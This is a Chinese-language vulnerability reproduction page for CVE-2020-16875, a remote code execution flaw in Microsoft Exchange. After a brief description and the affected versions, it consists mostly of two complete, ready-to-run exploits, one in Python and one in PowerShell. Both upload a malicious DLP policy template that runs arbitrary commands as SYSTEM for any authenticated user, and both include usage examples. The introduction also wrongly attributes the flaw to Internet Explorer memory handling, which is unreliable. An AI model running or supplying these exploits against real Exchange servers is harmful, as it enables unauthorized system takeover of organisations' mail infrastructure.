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（CVE-2020-16875）Microsoft Exchange 远程命令执行漏洞

一、漏洞简介

有安全人员公开了Exchange Server远程代码执行漏洞（CVE-2020-16875）的利用程序，此漏洞为微软在9月8日例行月度安全更新中披露；Microsoft Exchange在Internet Explorer处理内存中的对象时存在该漏洞。利用此漏洞需要具有以某个Exchange角色进行身份验证的用户权限。

攻击者可通过向受影响的Exchange服务器发送包含特殊的cmdlet参数的邮件来触发此漏洞，成功利用此漏洞的攻击者可在受影响的系统上以system权限执行任意代码。

利用条件

需要一个Exchange用户账号

二、漏洞影响

Microsoft:Exchange_server_2016: cu16/cu17

Microsoft:Exchange_server_2019: cu5/cu6

三、复现过程

需要一个Exchange用户账号。就能在Exchange服务器上执行任意命令。

poc

CVE-2020-16875.py

1.png

#!/usr/bin/env python3
"""
Microsoft Exchange Server DlpUtils AddTenantDlpPolicy Remote Code Execution Vulnerability
Patch: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-16875

# Notes:

The (ab)user needs the "Data Loss Prevention" role assigned and if performing the attack over the ecp interface (this poc) then the user will need an active mailbox.

[PS] C:\Windows\system32>New-RoleGroup -Name "dlp users" -Roles "Data Loss Prevention" -Members "harrym"

Name      AssignedRoles          RoleAssignments                  ManagedBy
----      -------------          ---------------                  ---------
dlp users {Data Loss Prevention} {Data Loss Prevention-dlp users} {exchangedemo.com/Microsoft Exchange Security Groups/Organization Management, exchangedemo.com/Users/test}

[PS] C:\Windows\system32>Get-RoleGroup "dlp users" | Format-List

RunspaceId                  : 098e1140-30e3-4144-8028-2174fdb43b85
ManagedBy                   : {exchangedemo.com/Microsoft Exchange Security Groups/Organization Management, exchangedemo.com/Users/test}
RoleAssignments             : {Data Loss Prevention-dlp users}
Roles                       : {Data Loss Prevention}
DisplayName                 :
ExternalDirectoryObjectId   :
Members                     : {exchangedemo.com/Users/Harry Mull}
SamAccountName              : dlp users
Description                 :
RoleGroupType               : Standard
LinkedGroup                 :
Capabilities                : {}
LinkedPartnerGroupId        :
LinkedPartnerOrganizationId :
Identity                    : exchangedemo.com/Microsoft Exchange Security Groups/dlp users
IsValid                     : True
ExchangeVersion             : 0.10 (14.0.100.0)
Name                        : dlp users
DistinguishedName           : CN=dlp users,OU=Microsoft Exchange Security Groups,DC=exchangedemo,DC=com
Guid                        : fa5c8458-8255-4ffd-b128-2a66bf9dbfd6
ObjectCategory              : exchangedemo.com/Configuration/Schema/Group
ObjectClass                 : {top, group}
WhenChanged                 : 6/12/2020 11:29:31 PM
WhenCreated                 : 6/12/2020 11:29:31 PM
WhenChangedUTC              : 6/12/2020 3:29:31 PM
WhenCreatedUTC              : 6/12/2020 3:29:31 PM
OrganizationId              :
Id                          : exchangedemo.com/Microsoft Exchange Security Groups/dlp users
OriginatingServer           : DEAD01.exchangedemo.com
ObjectState                 : Changed

# Example:

researcher@incite:~$ ./poc.py
(+) usage: ./poc.py <target> <user:pass> <cmd>
(+) eg: ./poc.py 192.168.75.142 [email protected]:user123### mspaint

researcher@incite:~$ ./poc.py 192.168.75.142 [email protected]:user123### mspaint
(+) logged in as [email protected]
(+) found the __viewstate: /wEPDwUILTg5MDAzMDFkZFAeyPS7/eBJ4lPNRNPBjm8QiWLWnirQ1vsGlSyjVxa5
(+) executed mspaint as SYSTEM!
"""

import re
import sys
import random
import string
import urllib3
import requests

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def random_string(str_len=8):
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for i in range(str_len))


def get_xml(c):
    return """<?xml version="1.0" encoding="UTF-8"?>
<dlpPolicyTemplates>
  <dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">
    <contentVersion>4</contentVersion>
    <publisherName>si</publisherName>
    <name>
      <localizedString lang="en"></localizedString>
    </name>
    <description>
      <localizedString lang="en"></localizedString>
    </description>
    <keywords></keywords>
    <ruleParameters></ruleParameters>
    <policyCommands>
      <commandBlock>
        <![CDATA[ $i=New-object System.Diagnostics.ProcessStartInfo;$i.UseShellExecute=$true;$i.FileName="cmd";$i.Arguments="/c %s";$r=New-Object System.Diagnostics.Process;$r.StartInfo=$i;$r.Start() ]]>
      </commandBlock>
    </policyCommands>
    <policyCommandsResources></policyCommandsResources>
  </dlpPolicyTemplate>
</dlpPolicyTemplates>""" % c


def trigger_rce(t, s, vs, cmd):
    f = {
        '__VIEWSTATE': (None, vs),
        'ctl00$ResultPanePlaceHolder$senderBtn': (None, "ResultPanePlaceHolder_ButtonsPanel_btnNext"),
        'ctl00$ResultPanePlaceHolder$contentContainer$name': (None, random_string()),
        'ctl00$ResultPanePlaceHolder$contentContainer$upldCtrl': ("dlprce.xml", get_xml(cmd)),
    }
    r = s.post("https://%s/ecp/DLPPolicy/ManagePolicyFromISV.aspx" % t, files=f, verify=False)
    assert r.status_code == 200, "(-) failed to trigger rce!"


def leak_viewstate(t, s):
    r = s.get("https://%s/ecp/DLPPolicy/ManagePolicyFromISV.aspx" % t, verify=False)
    match = re.search("<input type=\"hidden\" name=\"__VIEWSTATE\" id=\"__VIEWSTATE\" value=\"(.*)\" />", r.text)
    assert match != None, "(-) couldn't leak the __viewstate!"
    return match.group(1)


def log_in(t, usr, pwd):
    s = requests.Session()
    d = {
        "destination": "https://%s/owa" % t,
        "flags": "",
        "username": usr,
        "password": pwd
    }
    s.post("https://%s/owa/auth.owa" % t, data=d, verify=False)
    assert s.cookies.get(name='X-OWA-CANARY') != None, "(-) couldn't leak the csrf canary!"
    return s


def main(t, usr, pwd, cmd):
    s = log_in(t, usr, pwd)
    print("(+) logged in as %s" % usr)
    vs = leak_viewstate(t, s)
    print("(+) found the __viewstate: %s" % vs)
    trigger_rce(t, s, vs, cmd)
    print("(+) executed %s as SYSTEM!" % cmd)


if __name__ == '__main__':
    if len(sys.argv) != 4:
        print("(+) usage: %s <target> <user:pass> <cmd>" % sys.argv[0])
        print("(+) eg: %s 192.168.75.142 [email protected]:user123### mspaint" % sys.argv[0])
        sys.exit(-1)
    trgt = sys.argv[1]
    assert ":" in sys.argv[2], "(-) you need a user and password!"
    usr = sys.argv[2].split(":")[0]
    pwd = sys.argv[2].split(":")[1]
    cmd = sys.argv[3]
    main(trgt, usr, pwd, cmd)
powershell版本：
# Microsoft Exchange Server DlpUtils AddTenantDlpPolicy Remote Code Execution Vulnerability
# Patch: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-16875
#
# Notes:
#
# The (ab)user needs the "Data Loss Prevention" role assigned
# [PS] C:\Windows\system32>New-RoleGroup -Name "dlp users" -Roles "Data Loss Prevention" -Members "harrym"
#
# Name      AssignedRoles          RoleAssignments                  ManagedBy
# ----      -------------          ---------------                  ---------
# dlp users {Data Loss Prevention} {Data Loss Prevention-dlp users} {exchangedemo.com/Microsoft Exchange Security Groups/Organization Management, exchangedemo.com/Users/test}
#
#
# [PS] C:\Windows\system32>Get-RoleGroup "dlp users" | Format-List
#
# RunspaceId                  : 098e1140-30e3-4144-8028-2174fdb43b85
# ManagedBy                   : {exchangedemo.com/Microsoft Exchange Security Groups/Organization Management, exchangedemo.com/Users/test}
# RoleAssignments             : {Data Loss Prevention-dlp users}
# Roles                       : {Data Loss Prevention}
# DisplayName                 :
# ExternalDirectoryObjectId   :
# Members                     : {exchangedemo.com/Users/Harry Mull}
# SamAccountName              : dlp users
# Description                 :
# RoleGroupType               : Standard
# LinkedGroup                 :
# Capabilities                : {}
# LinkedPartnerGroupId        :
# LinkedPartnerOrganizationId :
# Identity                    : exchangedemo.com/Microsoft Exchange Security Groups/dlp users
# IsValid                     : True
# ExchangeVersion             : 0.10 (14.0.100.0)
# Name                        : dlp users
# DistinguishedName           : CN=dlp users,OU=Microsoft Exchange Security Groups,DC=exchangedemo,DC=com
# Guid                        : fa5c8458-8255-4ffd-b128-2a66bf9dbfd6
# ObjectCategory              : exchangedemo.com/Configuration/Schema/Group
# ObjectClass                 : {top, group}
# WhenChanged                 : 6/12/2020 11:29:31 PM
# WhenCreated                 : 6/12/2020 11:29:31 PM
# WhenChangedUTC              : 6/12/2020 3:29:31 PM
# WhenCreatedUTC              : 6/12/2020 3:29:31 PM
# OrganizationId              :
# Id                          : exchangedemo.com/Microsoft Exchange Security Groups/dlp users
# OriginatingServer           : DEAD01.exchangedemo.com
# ObjectState                 : Changed
#
# Example:
#
# PS C:\Users\researcher> .\poc.ps1 -server WIN-0K4AOM2JIN6.exchangedemo.com -usr [email protected] -pwd user123### -cmd mspaint
# (+) targeting WIN-0K4AOM2JIN6.exchangedemo.com with [email protected]:user123###
# (+) executed mspaint as SYSTEM!
# PS C:\Users\researcher>

param (
    [Parameter(Mandatory=$true)][string]$server,
    [Parameter(Mandatory=$true)][string]$usr,
    [Parameter(Mandatory=$true)][string]$pwd,
    [string]$cmd = "mspaint"
)

Function Get-RandomAlphanumericString {
    [CmdletBinding()]
    Param (
        [int] $length = 8
    )
    Process{
        Write-Output ( -join ((0x30..0x39) + ( 0x41..0x5A) + ( 0x61..0x7A) | Get-Random -Count $length  | % {[char]$_}) )
    }
}

function Exploit-Exchange {
    Param (
        [string] $server,
        [string] $usr,
        [string] $pwd,
        [string] $cmd
    )
    "(+) targeting $server with ${usr}:$pwd"
    $securepwd = ConvertTo-SecureString $pwd -AsPlainText -Force
    $creds = New-Object System.Management.Automation.PSCredential -ArgumentList ($usr, $securepwd)
    $s = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://$server/PowerShell/ -Authentication Kerberos -Credential $creds

    $xml = @"
<dlpPolicyTemplates>
  <dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">
    <contentVersion>4</contentVersion>
    <publisherName>si</publisherName>
    <name>
      <localizedString lang="en"></localizedString>
    </name>
    <description>
      <localizedString lang="en"></localizedString>
    </description>
    <keywords></keywords>
    <ruleParameters></ruleParameters>
    <policyCommands>
      <commandBlock>
        <![CDATA[ `$i=New-object System.Diagnostics.ProcessStartInfo;`$i.UseShellExecute=`$true;`$i.FileName="cmd";`$i.Arguments="/c $cmd";`$r=New-Object System.Diagnostics.Process;`$r.StartInfo=`$i;`$r.Start() ]]>
      </commandBlock>
    </policyCommands>
    <policyCommandsResources></policyCommandsResources>
  </dlpPolicyTemplate>
</dlpPolicyTemplates>"@

    $n = Get-RandomAlphanumericString
    [Byte[]]$d = [System.Text.Encoding]::UTF8.GetBytes($xml)
    Invoke-Command -Session $s -ScriptBlock {
        New-DlpPolicy -Name $Using:n -TemplateData $Using:d
    } | Out-Null
    "(+) executed $cmd as SYSTEM!"
}

Get-PSSession | Remove-PSSession
Exploit-Exchange -server $server -usr $usr -pwd $pwd -cmd $cmd